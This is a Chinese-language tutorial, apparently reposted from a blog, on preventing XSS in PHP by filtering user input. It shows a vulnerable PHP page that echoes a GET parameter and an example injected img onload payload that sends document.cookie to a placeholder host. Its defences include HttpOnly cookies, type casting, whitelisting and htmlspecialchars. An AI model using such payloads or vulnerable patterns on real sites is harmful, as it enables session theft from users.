PHP XSS攻击防范--如何过滤用户输入
来源:互联网 发布:财慧网软件下载 编辑:程序博客网 时间:2024/04/28 06:17
一、什么是XSS攻击
XSS攻击是指恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。
来看一个简单的例子:
<?php$slogan_type = isset($_GET['slogan_type']) ? $_GET['slogan_type'] : 'default';?><!doctype html><html><head><meta charset="utf-8"><title>37游戏,玩心创造世界_37网页游戏平台</title><meta name="keywords" content="37游戏,三七玩,网页游戏平台,37.com,网页游戏" /></head><body> <div><img src="http://img1.37wanimg.com/slogan/<?php echo $slogan_type; ?>.png"/> </div></body></html>
<img src="http://img1.37wanimg.com/slogan/" onload="javascript:this.scr='http://127.0.0.1/test.php?c='+ document.cookie" att=".png"/>
这样,攻击者A可以收集到B在demo.37.com域名下的所有cookie了。
PS:现在一般的浏览器都造了xss攻击防护,以上攻击会被chrome,Edge等浏览器阻止,但是,不能保证所有用户的浏览器都是安全的,对于XSS攻击,网站开发者必须意识到这个问题。
二、如何防范XSS攻击
利用XSS攻击,攻击者可以达到很多目的,以上的例子是盗取用户的cookie。甚至可以在页面中嵌入某段代码,在用户不知情的情况下执行某种操作。
1)针对于盗取cookie的XSS攻击,可以将cookie设置为http only
重要的cookie,比如登录状态cookie,可以设置为http only。这样的话,页面脚本就无法获取到cookie了。
bool setcookie ( string $name [, string $value = "" [, int $expire = 0 [, string $path = "" [, string $domain = "" [, bool $secure = false [, bool $httponly = false ]]]]]] )
2)关键点:过滤用户输入
“永远不要相信用户输入”,这句话是真理。首先,对于一些能明确参数类型的,必须使用类型转换,比如说intval,doubleval等转换。再者,如果有固定值的(比如固定只有banner,footer等值),应该要判断用户提交的值是否在这些固定值内。
其实,xss攻击,最困难的是处理富文本输入的数据,对于一般的输出可以使用htmlspecialchars过滤,但是对于富文本以下有几点需要注意的:
a)富文本内容里可以过滤掉<script>标签,因为富文本只是文章,不可能会嵌入script脚本。
b)处理DOM元素属性中的script脚本。
为了避免重复做轮子,可以在https://packagist.org/search/?q=xss搜索现成的库来使用。
1 0
- PHP XSS攻击防范--如何过滤用户输入
- PHP过滤XSS攻击
- PHP XSS攻击过滤
- php对xss攻击的防范
- Java 防范XSS攻击
- XSS攻击防范
- XSS攻击的防范
- XSS攻击的防范
- 防范XSS攻击
- xss防范攻击
- XSS攻击和防范
- PHP过滤XSS攻击的函数
- PHP的XSS攻击过滤函数
- PHP过滤XSS攻击的函数
- PHP过滤XSS攻击的函数
- php 过滤数据内容,防止XSS攻击
- 如何php防止XSS攻击
- 利用PHP编程防范XSS跨站脚本攻击
- error RC2108: expected numerical dialog constant
- shell脚本全面学习
- android 调用js 和js中调用android的实现
- 461. Hamming Distance
- php for Linux之MySQL扩展模块安装与配置
- PHP XSS攻击防范--如何过滤用户输入
- docker清理命令
- Oracle数据库学习笔记三
- 前端开发框架对比
- 字节IO流
- poj_3150 Cellular Automaton(循环矩阵+矩阵乘法)
- mySQL更改端口与允许客户端访问
- 【设计模式】模板方法模式
- spring加载hibernate映射文件的几种方式